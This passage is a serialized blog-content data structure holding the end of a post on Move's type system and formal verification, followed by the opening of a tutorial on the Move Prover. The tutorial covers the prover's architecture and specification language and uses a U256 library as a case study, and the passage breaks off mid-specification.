&",{"type":23,"tag":139,"props":6771,"children":6772},{"style":279},[6773],{"type":28,"value":1713},{"type":23,"tag":139,"props":6775,"children":6776},{"style":294},[6777],{"type":28,"value":6426},{"type":23,"tag":139,"props":6779,"children":6780},{"style":259},[6781],{"type":28,"value":1488},{"type":23,"tag":139,"props":6783,"children":6784},{"class":141,"line":1627},[6785,6790,6794,6799,6803,6808,6812,6816,6820,6825,6829,6834,6838,6843,6848,6853,6857,6861,6865,6870,6874,6878],{"type":23,"tag":139,"props":6786,"children":6787},{"style":259},[6788],{"type":28,"value":6789},"              (",{"type":23,"tag":139,"props":6791,"children":6792},{"style":982},[6793],{"type":28,"value":2573},{"type":23,"tag":139,"props":6795,"children":6796},{"style":259},[6797],{"type":28,"value":6798},"vector",{"type":23,"tag":139,"props":6800,"children":6801},{"style":982},[6802],{"type":28,"value":1461},{"type":23,"tag":139,"props":6804,"children":6805},{"style":245},[6806],{"type":28,"value":6807},"borrow",{"type":23,"tag":139,"props":6809,"children":6810},{"style":259},[6811],{"type":28,"value":262},{"type":23,"tag":139,"props":6813,"children":6814},{"style":982},[6815],{"type":28,"value":1085},{"type":23,"tag":139,"props":6817,"children":6818},{"style":294},[6819],{"type":28,"value":6371},{"type":23,"tag":139,"props":6821,"children":6822},{"style":259},[6823],{"type":28,"value":6824},", (",{"type":23,"tag":139,"props":6826,"children":6827},{"style":294},[6828],{"type":28,"value":1728},{"type":23,"tag":139,"props":6830,"children":6831},{"style":279},[6832],{"type":28,"value":6833}," as",{"type":23,"tag":139,"props":6835,"children":6836},{"style":305},[6837],{"type":28,"value":3862},{"type":23,"tag":139,"props":6839,"children":6840},{"style":259},[6841],{"type":28,"value":6842},")) ",{"type":23,"tag":139,"props":6844,"children":6845},{"style":279},[6846],{"type":28,"value":6847},"as",{"type":23,"tag":139,"props":6849,"children":6850},{"style":305},[6851],{"type":28,"value":6852}," u128",{"type":23,"tag":139,"props":6854,"children":6855},{"style":259},[6856],{"type":28,"value":1062},{"type":23,"tag":139,"props":6858,"children":6859},{"style":982},[6860],{"type":28,"value":2573},{"type":23,"tag":139,"props":6862,"children":6863},{"style":259},[6864],{"type":28,"value":1042},{"type":23,"tag":139,"props":6866,"children":6867},{"style":294},[6868],{"type":28,"value":6869},"n_coins",{"type":23,"tag":139,"props":6871,"children":6872},{"style":279},[6873],{"type":28,"value":6833},{"type":23,"tag":139,"props":6875,"children":6876},{"style":305},[6877],{"type":28,"value":6852},{"type":23,"tag":139,"props":6879,"children":6880},{"style":259},[6881],{"type":28,"value":273},{"type":23,"tag":139,"props":6883,"children":6884},{"class":141,"line":1636},[6885],{"type":23,"tag":139,"props":6886,"children":6887},{"style":259},[6888],{"type":28,"value":6889},"          );\n",{"type":23,"tag":139,"props":6891,"children":6892},{"class":141,"line":1659},[6893,6898,6902,6906,6911,6915],{"type":23,"tag":139,"props":6894,"children":6895},{"style":294},[6896],{"type":28,"value":6897},"          i",{"type":23,"tag":139,"props":6899,"children":6900},{"style":982},[6901],{"type":28,"value":985},{"type":23,"tag":139,"props":6903,"children":6904},{"style":294},[6905],{"type":28,"value":1378},{"type":23,"tag":139,"props":6907,"children":6908},{"style":982},[6909],{"type":28,"value":6910}," +",{"type":23,"tag":139,"props":6912,"children":6913},{"style":1016},[6914],{"type":28,"value":2525},{"type":23,"tag":139,"props":6916,"children":6917},{"style":259},[6918],{"type":28,"value":995},{"type":23,"tag":139,"props":6920,"children":6921},{"class":141,"line":1667},[6922],{"type":23,"tag":139,"props":6923,"children":6924},{"style":259},[6925],{"type":28,"value":6926},"      };\n",{"type":23,"tag":139,"props":6928,"children":6929},{"class":141,"line":1676},[6930,6935],{"type":23,"tag":139,"props":6931,"children":6932},{"style":294},[6933],{"type":28,"value":6934},"      spec",{"type":23,"tag":139,"props":6936,"children":6937},{"style":259},[6938],{"type":28,"value":1268},{"type":23,"tag":139,"props":6940,"children":6941},{"class":141,"line":1745},[6942,6947,6951,6955,6959],{"type":23,"tag":139,"props":6943,"children":6944},{"style":294},[6945],{"type":28,"value":6946},"          assert",{"type":23,"tag":139,"props":6948,"children":6949},{"style":294},[6950],{"type":28,"value":1378},{"type":23,"tag":139,"props":6952,"children":6953},{"style":982},[6954],{"type":28,"value":1259},{"type":23,"tag":139,"props":6956,"children":6957},{"style":294},[6958],{"type":28,"value":6491},{"type":23,"tag":139,"props":6960,"children":6961},{"style":259},[6962],{"type":28,"value":995},{"type":23,"tag":139,"props":6964,"children":6965},{"class":141,"line":1753},[6966,6970,6974,6978,6982,6986,6990,6994],{"type":23,"tag":139,"props":6967,"children":6968},{"style":294},[6969],{"type":28,"value":6946},{"type":23,"tag":139,"props":6971,"children":6972},{"style":245},[6973],{"type":28,"value":6562},{"type":23,"tag":139,"props":6975,"children":6976},{"style":259},[6977],{"type":28,"value":262},{"type":23,"tag":139,"props":6979,"children":6980},{"style":294},[6981],{"type":28,"value":6371},{"type":23,"tag":139,"props":6983,"children":6984},{"style":259},[6985],{"type":28,"value":1062},{"type":23,"tag":139,"props":6987,"children":6988},{"style":982},[6989],{"type":28,"value":6580},{"type":23,"tag":139,"props":6991,"children":6992},{"style":294},[6993],{"type":28,"value":6491},{"type":23,"tag":139,"props":6995,"children":6996},{"style":259},[6997],{"type":28,"value":995},{"type":23,"tag":139,"props":6999,"children":7000},{"class":141,"line":1783},[7001],{"type":23,"tag":139,"props":7002,"children":7003},{"style":259},[7004],{"type":28,"value":6926},{"type":23,"tag":139,"props":7006,"children":7007},{"class":141,"line":1791},[7008],{"type":23,"tag":139,"props":7009,"children":7010},{"style":294},[7011],{"type":28,"value":7012},"      amounts_times_coins\n",{"type":23,"tag":139,"props":7014,"children":7015},{"class":141,"line":1823},[7016],{"type":23,"tag":139,"props":7017,"children":7018},{"style":259},[7019],{"type":28,"value":3874},{"type":23,"tag":139,"props":7021,"children":7022},{"class":141,"line":1831},[7023,7027,7031],{"type":23,"tag":139,"props":7024,"children":7025},{"style":294},[7026],{"type":28,"value":6149},{"type":23,"tag":139,"props":7028,"children":7029},{"style":294},[7030],{"type":28,"value":6362},{"type":23,"tag":139,"props":7032,"children":7033},{"style":259},[7034],{"type":28,"value":1268},{"type":23,"tag":139,"props":7036,"children":7037},{"class":141,"line":1891},[7038,7042,7047],{"type":23,"tag":139,"props":7039,"children":7040},{"style":294},[7041],{"type":28,"value":6165},{"type":23,"tag":139,"props":7043,"children":7044},{"style":294},[7045],{"type":28,"value":7046}," opaque",{"type":23,"tag":139,"props":7048,"children":7049},{"style":259},[7050],{"type":28,"value":995},{"type":23,"tag":139,"props":7052,"children":7054},{"class":141,"line":7053},27,[7055,7060,7065],{"type":23,"tag":139,"props":7056,"children":7057},{"style":294},[7058],{"type":28,"value":7059},"      aborts_if",{"type":23,"tag":139,"props":7061,"children":7062},{"style":279},[7063],{"type":28,"value":7064}," false",{"type":23,"tag":139,"props":7066,"children":7067},{"style":259},[7068],{"type":28,"value":995},{"type":23,"tag":139,"props":7070,"children":7072},{"class":141,"line":7071},28,[7073,7077,7081,7085,7090,7094,7098,7102,7106,7110],{"type":23,"tag":139,"props":7074,"children":7075},{"style":294},[7076],{"type":28,"value":6191},{"type":23,"tag":139,"props":7078,"children":7079},{"style":245},[7080],{"type":28,"value":6562},{"type":23,"tag":139,"props":7082,"children":7083},{"style":259},[7084],{"type":28,"value":262},{"type":23,"tag":139,"props":7086,"children":7087},{"style":294},[7088],{"type":28,"value":7089},"result",{"type":23,"tag":139,"props":7091,"children":7092},{"style":259},[7093],{"type":28,"value":1062},{"type":23,"tag":139,"props":7095,"children":7096},{"style":982},[7097],{"type":28,"value":6580},{"type":23,"tag":139,"props":7099,"children":7100},{"style":245},[7101],{"type":28,"value":6562},{"type":23,"tag":139,"props":7103,"children":7104},{"style":259},[7105],{"type":28,"value":262},{"type":23,"tag":139,"props":7107,"children":7108},{"style":294},[7109],{"type":28,"value":6371},{"type":23,"tag":139,"props":7111,"children":7112},{"style":259},[7113],{"type":28,"value":1820},{"type":23,"tag":139,"props":7115,"children":7117},{"class":141,"line":7116},29,[7118,7122,7126,7130,7134,7138,7142,7147,7151,7155,7159,7163,7168,7172,7176,7180,7184,7188,7192,7196,7200,7204,7208,7212,7216],{"type":23,"tag":139,"props":7119,"children":7120},{"style":294},[7121],{"type":28,"value":6191},{"type":23,"tag":139,"props":7123,"children":7124},{"style":294},[7125],{"type":28,"value":6623},{"type":23,"tag":139,"props":7127,"children":7128},{"style":294},[7129],{"type":28,"value":6628},{"type":23,"tag":139,"props":7131,"children":7132},{"style":279},[7133],{"type":28,"value":1013},{"type":23,"tag":139,"props":7135,"children":7136},{"style":1016},[7137],{"type":28,"value":1019},{"type":23,"tag":139,"props":7139,"children":7140},{"style":982},[7141],{"type":28,"value":1024},{"type":23,"tag":139,"props":7143,"children":7144},{"style":245},[7145],{"type":28,"value":7146},"len",{"type":23,"tag":139,"props":7148,"children":7149},{"style":259},[7150],{"type":28,"value":262},{"type":23,"tag":139,"props":7152,"children":7153},{"style":294},[7154],{"type":28,"value":6371},{"type":23,"tag":139,"props":7156,"children":7157},{"style":259},[7158],{"type":28,"value":1104},{"type":23,"tag":139,"props":7160,"children":7161},{"style":982},[7162],{"type":28,"value":2493},{"type":23,"tag":139,"props":7164,"children":7165},{"style":294},[7166],{"type":28,"value":7167}," result",{"type":23,"tag":139,"props":7169,"children":7170},{"style":259},[7171],{"type":28,"value":1723},{"type":23,"tag":139,"props":7173,"children":7174},{"style":294},[7175],{"type":28,"value":6661},{"type":23,"tag":139,"props":7177,"children":7178},{"style":259},[7179],{"type":28,"value":6666},{"type":23,"tag":139,"props":7181,"children":7182},{"style":982},[7183],{"type":28,"value":6580},{"type":23,"tag":139,"props":7185,"children":7186},{"style":294},[7187],{"type":28,"value":6675},{"type":23,"tag":139,"props":7189,"children":7190},{"style":259},[7191],{"type":28,"value":1723},{"type":23,"tag":139,"props":7193,"children":7194},{"style":294},[7195],{"type":28,"value":6661},{"type":23,"tag":139,"props":7197,"children":7198},{"style":259},[7199],{"type":28,"value":6666},{"type":23,"tag":139,"props":7201,"children":7202},{"style":982},[7203],{"type":28,"value":2573},{"type":23,"tag":139,"props":7205,"children":7206},{"style":245},[7207],{"type":28,"value":6562},{"type":23,"tag":139,"props":7209,"children":7210},{"style":259},[7211],{"type":28,"value":262},{"type":23,"tag":139,"props":7213,"children":7214},{"style":294},[7215],{"type":28,"value":6371},{"type":23,"tag":139,"props":7217,"children":7218},{"style":259},[7219],{"type":28,"value":1820},{"type":23,"tag":139,"props":7221,"children":7223},{"class":141,"line":7222},30,[7224],{"type":23,"tag":139,"props":7225,"children":7226},{"style":259},[7227],{"type":28,"value":3874},{"type":23,"tag":41,"props":7229,"children":7230},{"id":3313},[7231],{"type":28,"value":3316},{"type":23,"tag":24,"props":7233,"children":7234},{},[7235],{"type":28,"value":7236},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":7238,"children":7239},{},[7240],{"type":28,"value":7241},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":7243,"children":7244},{},[7245,7247,7254],{"type":28,"value":7246},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":64,"props":7248,"children":7251},{"href":7249,"rel":7250},"https://twitter.com/notdeghost/",[68],[7252],{"type":28,"value":7253},"@notdeghost",{"type":28,"value":73},{"type":23,"tag":817,"props":7256,"children":7257},{},[7258],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":7260},[7261,7262,7263],{"id":3760,"depth":151,"text":3763},{"id":5800,"depth":151,"text":5803},{"id":3313,"depth":151,"text":3316},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":7268,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7269,"description":7270,"author":10,"image":7271,"date":7274,"isFeatured":15,"tags":7275,"onBlogPage":15,"body":7278,"_type":831,"_id":11624,"_source":833,"_file":11625,"_stem":11626,"_extension":836},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":7272,"height":7273,"width":3725},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[7276,7277],"move","tutorial",{"type":20,"children":7279,"toc":11610},[7280,7299,7311,7317,7322,7327,7332,7341,7346,7360,7365,7371,7376,7390,7395,7532,7545,7550,7571,7605,7616,7621,7626,7636,7649,7992,8006,8024,8069,8082,8101,8273,8278,8283,8308,8313,8915,8927,8939,8944,8958,8963,8976,9017,9022,9054,9059,9064,9077,9462,9489,9696,9701,9713,9950,9955,9963,9982,10330,10335,10492,10497,10504,10518,10524,10529,10534,10540,10553,10785,10791,10796,10816,11085,11090,11096,11108,11113,11127,11133,11169,11269,11290,11296,11301,11306,11558,11563,11581,11585,11590,11595,11606],{"type":23,"tag":24,"props":7281,"children":7282},{},[7283,7285,7290,7292,7297],{"type":28,"value":7284},"Formal verification -- a powerful tool for ",{"type":23,"tag":659,"props":7286,"children":7287},{},[7288],{"type":28,"value":7289},"proving",{"type":28,"value":7291}," the correctness of your programs. How does it ",{"type":23,"tag":659,"props":7293,"children":7294},{},[7295],{"type":28,"value":7296},"actually",{"type":28,"value":7298}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":7300,"children":7301},{},[7302,7304,7309],{"type":28,"value":7303},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":659,"props":7305,"children":7306},{},[7307],{"type":28,"value":7308},"all",{"type":28,"value":7310}," possible inputs.",{"type":23,"tag":41,"props":7312,"children":7314},{"id":7313},"move-prover",[7315],{"type":28,"value":7316},"Move Prover",{"type":23,"tag":24,"props":7318,"children":7319},{},[7320],{"type":28,"value":7321},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":7323,"children":7324},{},[7325],{"type":28,"value":7326},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":7328,"children":7329},{},[7330],{"type":28,"value":7331},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":7333,"children":7334},{},[7335],{"type":23,"tag":429,"props":7336,"children":7340},{"alt":7337,"src":7338,"title":7339},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":7342,"children":7343},{},[7344],{"type":28,"value":7345},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":7347,"children":7348},{},[7349,7351,7358],{"type":28,"value":7350},"The model is translated into an intermediate language, called ",{"type":23,"tag":64,"props":7352,"children":7355},{"href":7353,"rel":7354},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[68],[7356],{"type":28,"value":7357},"Boogie",{"type":28,"value":7359},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":7361,"children":7362},{},[7363],{"type":28,"value":7364},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":41,"props":7366,"children":7368},{"id":7367},"move-specification-language",[7369],{"type":28,"value":7370},"Move Specification Language",{"type":23,"tag":24,"props":7372,"children":7373},{},[7374],{"type":28,"value":7375},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":7377,"children":7378},{},[7379,7381,7388],{"type":28,"value":7380},"To better understand how to use the MSL, we will use ",{"type":23,"tag":64,"props":7382,"children":7385},{"href":7383,"rel":7384},"https://github.com/pontem-network/u256",[68],[7386],{"type":28,"value":7387},"Pontem's U256 library",{"type":28,"value":7389},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":7391,"children":7392},{},[7393],{"type":28,"value":7394},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":128,"props":7396,"children":7398},{"code":7397,"language":947,"meta":7,"className":948,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[7399],{"type":23,"tag":135,"props":7400,"children":7401},{"__ignoreMap":7},[7402,7445,7465,7485,7505,7525],{"type":23,"tag":139,"props":7403,"children":7404},{"class":141,"line":142},[7405,7410,7414,7419,7424,7428,7433,7437,7441],{"type":23,"tag":139,"props":7406,"children":7407},{"style":279},[7408],{"type":28,"value":7409},"struct",{"type":23,"tag":139,"props":7411,"children":7412},{"style":305},[7413],{"type":28,"value":2733},{"type":23,"tag":139,"props":7415,"children":7416},{"style":294},[7417],{"type":28,"value":7418}," has",{"type":23,"tag":139,"props":7420,"children":7421},{"style":294},[7422],{"type":28,"value":7423}," copy",{"type":23,"tag":139,"props":7425,"children":7426},{"style":259},[7427],{"type":28,"value":1052},{"type":23,"tag":139,"props":7429,"children":7430},{"style":294},[7431],{"type":28,"value":7432},"drop",{"type":23,"tag":139,"props":7434,"children":7435},{"style":259},[7436],{"type":28,"value":1052},{"type":23,"tag":139,"props":7438,"children":7439},{"style":294},[7440],{"type":28,"value":3943},{"type":23,"tag":139,"props":7442,"children":7443},{"style":259},[7444],{"type":28,"value":1268},{"type":23,"tag":139,"props":7446,"children":7447},{"class":141,"line":151},[7448,7453,7457,7461],{"type":23,"tag":139,"props":7449,"children":7450},{"style":294},[7451],{"type":28,"value":7452},"    v0",{"type":23,"tag":139,"props":7454,"children":7455},{"style":982},[7456],{"type":28,"value":2493},{"type":23,"tag":139,"props":7458,"children":7459},{"style":305},[7460],{"type":28,"value":3862},{"type":23,"tag":139,"props":7462,"children":7463},{"style":259},[7464],{"type":28,"value":1488},{"type":23,"tag":139,"props":7466,"children":7467},{"class":141,"line":160},[7468,7473,7477,7481],{"type":23,"tag":139,"props":7469,"children":7470},{"style":294},[7471],{"type":28,"value":7472},"    v1",{"type":23,"tag":139,"props":7474,"children":7475},{"style":982},[7476],{"type":28,"value":2493},{"type":23,"tag":139,"props":7478,"children":7479},{"style":305},[7480],{"type":28,"value":3862},{"type":23,"tag":139,"props":7482,"children":7483},{"style":259},[7484],{"type":28,"value":1488},{"type":23,"tag":139,"props":7486,"children":7487},{"class":141,"line":169},[7488,7493,7497,7501],{"type":23,"tag":139,"props":7489,"children":7490},{"style":294},[7491],{"type":28,"value":7492},"    v2",{"type":23,"tag":139,"props":7494,"children":7495},{"style":982},[7496],{"type":28,"value":2493},{"type":23,"tag":139,"props":7498,"children":7499},{"style":305},[7500],{"type":28,"value":3862},{"type":23,"tag":139,"props":7502,"children":7503},{"style":259},[7504],{"type":28,"value":1488},{"type":23,"tag":139,"props":7506,"children":7507},{"class":141,"line":178},[7508,7513,7517,7521],{"type":23,"tag":139,"props":7509,"children":7510},{"style":294},[7511],{"type":28,"value":7512},"    v3",{"type":23,"tag":139,"props":7514,"children":7515},{"style":982},[7516],{"type":28,"value":2493},{"type":23,"tag":139,"props":7518,"children":7519},{"style":305},[7520],{"type":28,"value":3862},{"type":23,"tag":139,"props":7522,"children":7523},{"style":259},[7524],{"type":28,"value":1488},{"type":23,"tag":139,"props":7526,"children":7527},{"class":141,"line":187},[7528],{"type":23,"tag":139,"props":7529,"children":7530},{"style":259},[7531],{"type":28,"value":1897},{"type":23,"tag":24,"props":7533,"children":7534},{},[7535,7537,7543],{"type":28,"value":7536},"Now, let's consider the ",{"type":23,"tag":135,"props":7538,"children":7540},{"className":7539},[],[7541],{"type":28,"value":7542},"add(a: U256, b: U256): U256",{"type":28,"value":7544}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":7546,"children":7547},{},[7548],{"type":28,"value":7549},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":7551,"children":7552},{},[7553,7555,7561,7563,7570],{"type":28,"value":7554},"For example, if your file is ",{"type":23,"tag":135,"props":7556,"children":7558},{"className":7557},[],[7559],{"type":28,"value":7560},"sources/u256.move",{"type":28,"value":7562},", you can put specifications in ",{"type":23,"tag":64,"props":7564,"children":7567},{"href":7565,"rel":7566},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[68],[7568],{"type":28,"value":7569},"sources/u256.spec.move",{"type":28,"value":73},{"type":23,"tag":128,"props":7572,"children":7574},{"code":7573,"language":947,"meta":7,"className":948,"style":7},"spec add { ... }\n",[7575],{"type":23,"tag":135,"props":7576,"children":7577},{"__ignoreMap":7},[7578],{"type":23,"tag":139,"props":7579,"children":7580},{"class":141,"line":142},[7581,7585,7590,7595,7600],{"type":23,"tag":139,"props":7582,"children":7583},{"style":294},[7584],{"type":28,"value":6279},{"type":23,"tag":139,"props":7586,"children":7587},{"style":294},[7588],{"type":28,"value":7589}," add",{"type":23,"tag":139,"props":7591,"children":7592},{"style":259},[7593],{"type":28,"value":7594}," { ",{"type":23,"tag":139,"props":7596,"children":7597},{"style":982},[7598],{"type":28,"value":7599},"...",{"type":23,"tag":139,"props":7601,"children":7602},{"style":259},[7603],{"type":28,"value":7604}," }\n",{"type":23,"tag":24,"props":7606,"children":7607},{},[7608,7610,7615],{"type":28,"value":7609},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":659,"props":7611,"children":7612},{},[7613],{"type":28,"value":7614},"Expressions",{"type":28,"value":73},{"type":23,"tag":666,"props":7617,"children":7619},{"id":7618},"expressions",[7620],{"type":28,"value":7614},{"type":23,"tag":24,"props":7622,"children":7623},{},[7624],{"type":28,"value":7625},"Let's go over some common expressions.",{"type":23,"tag":24,"props":7627,"children":7628},{},[7629,7634],{"type":23,"tag":135,"props":7630,"children":7632},{"className":7631},[],[7633],{"type":28,"value":6329},{"type":28,"value":7635}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":7637,"children":7638},{},[7639,7641,7647],{"type":28,"value":7640},"For example, the ",{"type":23,"tag":135,"props":7642,"children":7644},{"className":7643},[],[7645],{"type":28,"value":7646},"add",{"type":28,"value":7648}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":128,"props":7650,"children":7652},{"code":7651,"language":947,"meta":7,"className":948,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[7653],{"type":23,"tag":135,"props":7654,"children":7655},{"__ignoreMap":7},[7656,7690,7697,7746,7768,7797,7834,7875,7882,7889,7904,7985],{"type":23,"tag":139,"props":7657,"children":7658},{"class":141,"line":142},[7659,7664,7669,7673,7677,7681,7686],{"type":23,"tag":139,"props":7660,"children":7661},{"style":279},[7662],{"type":28,"value":7663},"const",{"type":23,"tag":139,"props":7665,"children":7666},{"style":259},[7667],{"type":28,"value":7668}," P64",{"type":23,"tag":139,"props":7670,"children":7671},{"style":982},[7672],{"type":28,"value":2493},{"type":23,"tag":139,"props":7674,"children":7675},{"style":305},[7676],{"type":28,"value":6852},{"type":23,"tag":139,"props":7678,"children":7679},{"style":982},[7680],{"type":28,"value":985},{"type":23,"tag":139,"props":7682,"children":7683},{"style":1016},[7684],{"type":28,"value":7685}," 0x10000000000000000",{"type":23,"tag":139,"props":7687,"children":7688},{"style":259},[7689],{"type":28,"value":995},{"type":23,"tag":139,"props":7691,"children":7692},{"class":141,"line":151},[7693],{"type":23,"tag":139,"props":7694,"children":7695},{"emptyLinePlaceholder":15},[7696],{"type":28,"value":184},{"type":23,"tag":139,"props":7698,"children":7699},{"class":141,"line":160},[7700,7704,7708,7713,7717,7721,7725,7729,7733,7737,7742],{"type":23,"tag":139,"props":7701,"children":7702},{"style":294},[7703],{"type":28,"value":6279},{"type":23,"tag":139,"props":7705,"children":7706},{"style":294},[7707],{"type":28,"value":4210},{"type":23,"tag":139,"props":7709,"children":7710},{"style":245},[7711],{"type":28,"value":7712}," value_of_U256",{"type":23,"tag":139,"props":7714,"children":7715},{"style":259},[7716],{"type":28,"value":262},{"type":23,"tag":139,"props":7718,"children":7719},{"style":294},[7720],{"type":28,"value":64},{"type":23,"tag":139,"props":7722,"children":7723},{"style":982},[7724],{"type":28,"value":2493},{"type":23,"tag":139,"props":7726,"children":7727},{"style":305},[7728],{"type":28,"value":2733},{"type":23,"tag":139,"props":7730,"children":7731},{"style":259},[7732],{"type":28,"value":1104},{"type":23,"tag":139,"props":7734,"children":7735},{"style":982},[7736],{"type":28,"value":2493},{"type":23,"tag":139,"props":7738,"children":7739},{"style":294},[7740],{"type":28,"value":7741}," num",{"type":23,"tag":139,"props":7743,"children":7744},{"style":259},[7745],{"type":28,"value":1268},{"type":23,"tag":139,"props":7747,"children":7748},{"class":141,"line":169},[7749,7754,7758,7763],{"type":23,"tag":139,"props":7750,"children":7751},{"style":294},[7752],{"type":28,"value":7753},"    a",{"type":23,"tag":139,"props":7755,"children":7756},{"style":982},[7757],{"type":28,"value":73},{"type":23,"tag":139,"props":7759,"children":7760},{"style":259},[7761],{"type":28,"value":7762},"v0 ",{"type":23,"tag":139,"props":7764,"children":7765},{"style":982},[7766],{"type":28,"value":7767},"+\n",{"type":23,"tag":139,"props":7769,"children":7770},{"class":141,"line":178},[7771,7775,7779,7784,7788,7792],{"type":23,"tag":139,"props":7772,"children":7773},{"style":294},[7774],{"type":28,"value":7753},{"type":23,"tag":139,"props":7776,"children":7777},{"style":982},[7778],{"type":28,"value":73},{"type":23,"tag":139,"props":7780,"children":7781},{"style":259},[7782],{"type":28,"value":7783},"v1 ",{"type":23,"tag":139,"props":7785,"children":7786},{"style":982},[7787],{"type":28,"value":2573},{"type":23,"tag":139,"props":7789,"children":7790},{"style":305},[7791],{"type":28,"value":7668},{"type":23,"tag":139,"props":7793,"children":7794},{"style":982},[7795],{"type":28,"value":7796}," +\n",{"type":23,"tag":139,"props":7798,"children":7799},{"class":141,"line":187},[7800,7804,7808,7813,7817,7821,7826,7830],{"type":23,"tag":139,"props":7801,"children":7802},{"style":294},[7803],{"type":28,"value":7753},{"type":23,"tag":139,"props":7805,"children":7806},{"style":982},[7807],{"type":28,"value":73},{"type":23,"tag":139,"props":7809,"children":7810},{"style":259},[7811],{"type":28,"value":7812},"v2 ",{"type":23,"tag":139,"props":7814,"children":7815},{"style":982},[7816],{"type":28,"value":2573},{"type":23,"tag":139,"props":7818,"children":7819},{"style":305},[7820],{"type":28,"value":7668},{"type":23,"tag":139,"props":7822,"children":7823},{"style":982},[7824],{"type":28,"value":7825}," *",{"type":23,"tag":139,"props":7827,"children":7828},{"style":305},[7829],{"type":28,"value":7668},{"type":23,"tag":139,"props":7831,"children":7832},{"style":982},[7833],{"type":28,"value":7796},{"type":23,"tag":139,"props":7835,"children":7836},{"class":141,"line":196},[7837,7841,7845,7850,7854,7858,7862,7866,7870],{"type":23,"tag":139,"props":7838,"children":7839},{"style":294},[7840],{"type":28,"value":7753},{"type":23,"tag":139,"props":7842,"children":7843},{"style":982},[7844],{"type":28,"value":73},{"type":23,"tag":139,"props":7846,"children":7847},{"style":259},[7848],{"type":28,"value":7849},"v3 ",{"type":23,"tag":139,"props":7851,"children":7852},{"style":982},[7853],{"type":28,"value":2573},{"type":23,"tag":139,"props":7855,"children":7856},{"style":305},[7857],{"type":28,"value":7668},{"type":23,"tag":139,"props":7859,"children":7860},{"style":982},[7861],{"type":28,"value":7825},{"type":23,"tag":139,"props":7863,"children":7864},{"style":305},[7865],{"type":28,"value":7668},{"type":23,"tag":139,"props":7867,"children":7868},{"style":982},[7869],{"type":28,"value":7825},{"type":23,"tag":139,"props":7871,"children":7872},{"style":305},[7873],{"type":28,"value":7874}," P64\n",{"type":23,"tag":139,"props":7876,"children":7877},{"class":141,"line":205},[7878],{"type":23,"tag":139,"props":7879,"children":7880},{"style":259},[7881],{"type":28,"value":1897},{"type":23,"tag":139,"props":7883,"children":7884},{"class":141,"line":214},[7885],{"type":23,"tag":139,"props":7886,"children":7887},{"emptyLinePlaceholder":15},[7888],{"type":28,"value":184},{"type":23,"tag":139,"props":7890,"children":7891},{"class":141,"line":1320},[7892,7896,7900],{"type":23,"tag":139,"props":7893,"children":7894},{"style":294},[7895],{"type":28,"value":6279},{"type":23,"tag":139,"props":7897,"children":7898},{"style":294},[7899],{"type":28,"value":7589},{"type":23,"tag":139,"props":7901,"children":7902},{"style":259},[7903],{"type":28,"value":1268},{"type":23,"tag":139,"props":7905,"children":7906},{"class":141,"line":1329},[7907,7912,7916,7920,7924,7928,7932,7936,7940,7944,7948,7953,7957,7961,7965,7969,7973,7977,7981],{"type":23,"tag":139,"props":7908,"children":7909},{"style":294},[7910],{"type":28,"value":7911},"    